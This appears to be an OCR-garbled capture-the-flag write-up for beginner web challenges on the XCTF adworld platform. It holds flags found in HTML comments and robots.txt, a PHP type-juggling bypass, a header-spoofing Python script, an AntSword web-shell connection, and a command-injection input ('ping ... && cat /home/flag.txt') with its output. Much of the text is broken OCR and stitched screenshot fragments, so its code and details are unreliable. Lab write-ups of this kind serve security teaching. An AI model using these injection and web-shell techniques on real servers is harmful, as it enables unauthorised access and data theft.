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<!DOCTYPE html> "
4 <html lang="en"»
[+ <head»..</head>
4 <body>
4 <script»
document.oncontextmenu=new Function("return false")
document.onselectstart=new Function("return false™)
</script>
<h1>FLAG is not here</hl>»
<!-- cyberpeace{1da55c8dcf@64edBaacbc32840ab31d2} -->
</body>
</html>
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Oser-agent: *
Disallow:

Disallow: flag ls hi3re.php

< O O O ve  124126.19.106:34040/f1ag_1s h3rephp
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. . Disallow:

Disallow: flag ls hire. php Disallow: flag_ls_h3re.php
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cyberpeace{8cf489c32fc3abb24cbb42715! <html>

<head>

<meta charset="UTF-8">
{BXEE N B 54 (https://img-blog.csdr <title> &A%< /title>
S — <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
$B=RE (index.phpfYsE{  bodvl

margin-left:auto;
SshpfsE{s i~ php~A7 php.bak margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>

<h3>{FHli&index.phpfIFAXHEE? </h3>
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See the http response

% Tunnel to  adworld.xctf.org.cn:443 00 HITP 687 Headers | TextView | SyntaxView | WebForms | HexView | Auth | Cookies | Raw | JSON [[xML |
57 adworld, xctf.org.cn  [apiftasks/messages/474469 applicaton/... 200  HTTPS 3
58 adworld. xctf.org.cn  /apijusers/tgimg/ application/... 200 HTTPS 216
59 adworld.xctf.org.cn  /apiftasks/task_comment/... application/... 200  HTTPS 1,663
60 adworld. xctf.org.an  /apifenv/d48eeeBa-de 1 application/... 200 HTTPS 60
61  wup.browser.qq.com [ application/... 200  HTTPS 93 no-cach
62 adworld.xctf.org.cn  jmediajuploadsjuser_logo... imagefjpeg 200 HTTPS 55,658
63  wup.imtt.qq.com:8... [Pencrypt=178tk=e889d2... application/... 200 HTTP 288 no-cach
64 hm.baidu.com /hm.gif?cc=18ck=18d=2... image/gif 200 HTTPS 43 private.
65 Tunnel to  bizapi.csdn.net: 443 200 HTTP 0
66 bizapi.csdn.net  /blog-console-apifv3fuplo... application/... 200 HTTPS 233
67 Tunnel to  img-blog. csdnimg. cn: 443 200 HTTP 0
63 img-blog.csdnimg.cn  [20200518132541245.pn...  image/png 200 HTTPS 42,120 max-ag.
89 adworld. xctf.org.cn  /apijusers/unread_message  application/... 200 HTTPS 52
70 wup.imtt.qg.com:8... [?encaypt=17&tk=e889d2... application/... 200 HTTP 288 no-cach
71 Tunnel to  officedient. microsoft.com... 200  HTTP 0
72 Tunnel to  officedient. microsoft.com. .. 200 HTTP 0
73 officedient.microsof... /config16/?syslcd=2052&... textfxml 200 HTTPS 18,985 no-cac..
74  wup.imtt.qq.com:8... [?encrypt=17&tk=e889d2... application/... 200 HTTP 128 no-cach
75 Tunnel to  ecs.office.com:443 200  HTTP 0
76  officedient.micosof... [config16/?sysldd=2052a... text/xml 200  HTTPS 18,985 no-cac..
77 ecs.office.com /jconfigfv2fOffice/sdxhelp... application/... 304  HTTPS 0 no-cac..
78 Tunnel to  mrodevicemar.officeapps.... 200 HTTP ] E
79 Tunnel to  ecs.office.com:443 200  HTTP 0 Transformer HHeaders | Textview 1 SyntaxView I ImageView I HexView ! WebView | Auth ‘ Caching | Cookit
80 Tunnel to  ecs.office.com:443 200 HTTP 0 Response Headers
81 Tunnel to  ecs.office.com:443 200  HTTP 0 HTTP/1.1 200 OK
82 Tunnel to  ecs.office.com:443 200 HTTP L] Cache
83 ecs.office.com [config/v2/Office/powerp...  application/... 304 HTTPS 0 no-cac.. Date: Mon, 18 May 2020 05:24:25 GMT
84 ecs.office.com  [confighv2/Officefexcel/1... application/... 304  HTTPS 0 no-ac.. Vary: Accent Encoding
85 ecs.office.com Jconfig/v2/Officefword/16... application/... 304 HTTPS 0 no-cac.. Entity
86 ecs.office.com /config/v2/Office/sdxhelp...  application/... 304 HTTPS 0 no-ac.. Content-Length: 411
87  mrodevicemgr.offic... /mrodevicemgrsvc/apifvl/... application/... 202 HTTPS 6,661 no-cac.. Content-Type: text/html
88  wup.imtt.qq.com:8... [Pencrypt=178tk=e889d2... application/... 200  HTTP 192 no-cach Miscellaneous
89  wup.imtt.qg.com:8... [?encrypt=178tk=e889d2... application/... 200  HTTP 128 no-cach flag: cyberpeace {c17e5e21d937e4b905d0be 1b88 7e6fac
90  newtab.browser.qq... (api/get_icon?url=http%s3... 304  HTTPS 0 Server: Apache/2.4.7 (Ubuntu}
91 adworld. xctf.org.cn  /api/tasks/messages/474469 application/... 200  HTTPS 3 X-Powered-By: PHP/5.5.9-lubuntu4.26
92 wupimtt.gq.com:S... [Pencypt=178tk=e889d2... applcaton/.. 200 HTTP 288 no-cach Tramsport
a3 wup.imtt.qg.com:8... [?encypt=17&tk=e889d2... application/... 200 HTTP 288 no-cach Connection: Keep-Alive
94 bizapi.csdn.net  fblog-console-apifv3/uplo...  application/... 200  HTTPS 233 Keep-Alive; timeout=5, max=100
95 img-blog.csdnimg.cn  [20200518132556941.pn...  image/png 200 HTTPS 82,506 max-ag.
v
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ERBphpFa R A LhEL
phpH 7 B LT 5

== R FIRF R R ERAE, B

= R FRF R KRB SRR, B

FRBMB LB ERN, 75 B 2B AR R B HE php var_dump(‘a’ == 0);//true, X B'a’ &##HE#H 0
var_dump(‘123a’ == 123);//true, X H’ 123a &4 #H N123
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<Hphp
show_source (_ FILE_ ).
include (" confis. php™);
Fa=03_GET[ 2" 1
=03 _GET[ 1" 1
if(3a==0 and 3%a){
echo  Jflagl;
)

if(is numeric(§b)i){
exit();

)
F(3br1234) {

echo  Jflag2:
}
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B x-forwarded-for

- @ EmEER (5) py ¥ @ RE=FApy *

import requests

headers = {'X-Forwarded-For®: "123.123.123.123",
‘Cockie’: 'look-here=cookie.php’,
"User-Agent”: 'Mozilla/5.8 (Windows NT 18.0;
SHost': '124.126.19.186:51214°,
1
url = =
rag. = requests.get(url, headers=headers)
re;.encoding = "utf-8"

print(res.text)

ME=FE x

</head>

<body>

<p id="demo">ipH3t 4k H%123.123.123.123</p>
<script>document.getElementById("demo™). innerHTML="44 #L3 K https: / /wwu. google. com™ ;< /script></body>

</html>

https://blog.csdn.net/solitudi

=R (5) py X @ RE=FApy X Word Book

import requests

headers = {'X-Forwarded-For': *123.123.123.123",
‘Cookie’: ‘look-here=cookie.php®,
‘User-Agent’: 'Mozilla/5.@ (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Saf

JHost': "124.126.19.106:51214", —

R e Z =

s=headers)
.encoding - *

print(res.text)

b id="demo">ip3hdk 44 HH123.123.123.123¢</p>
fcript>document. getElementById("demo™) . innerHTML="2% B3 # https: //ww.google. con™;</script><script>document. getElementById( demo™ ) . innerHTML="cyberpeace{8c56a6F2a606cABA9750a78b814c 7830} " ; </script></body>
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URLHtHE = http://124.126.19.106:34496/
HERED * shell
PRI &
REiER UTF8 v
EEAR PHP v
(=) default (F3E7F)
' random (3EF)
() base64 -
2 BERER ~
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ntSword #\iE HFO EE
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J HESIEE (0) < || O33R (2)
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- var
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= www
@ flag.bxt 2020-05-18 05:42:28
M html

index.php
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https://blog.csdn.net/qq_41617034/article/details/91837257

PING

B EEping itk

PING

ping -c¢ 3 127.8.8.1 &% cat /home/flag.txt

PING 127.8.0.1 (127.8.08.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=0.839 ms
64 bytes from 127.0.8.1: icmp_seq=2 ttl=64 time=0.044 ms
64 bytes from 127.€.0.1: icmp seq=3 ttl=64 time=0.857 ms

--- 127.08.9.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1999ms

rtt min/avg/max/mdev = 9.839/0.046/0.857/9.010 ms
cyberpeace{e578e67e68213cedft74ad45b965437b}
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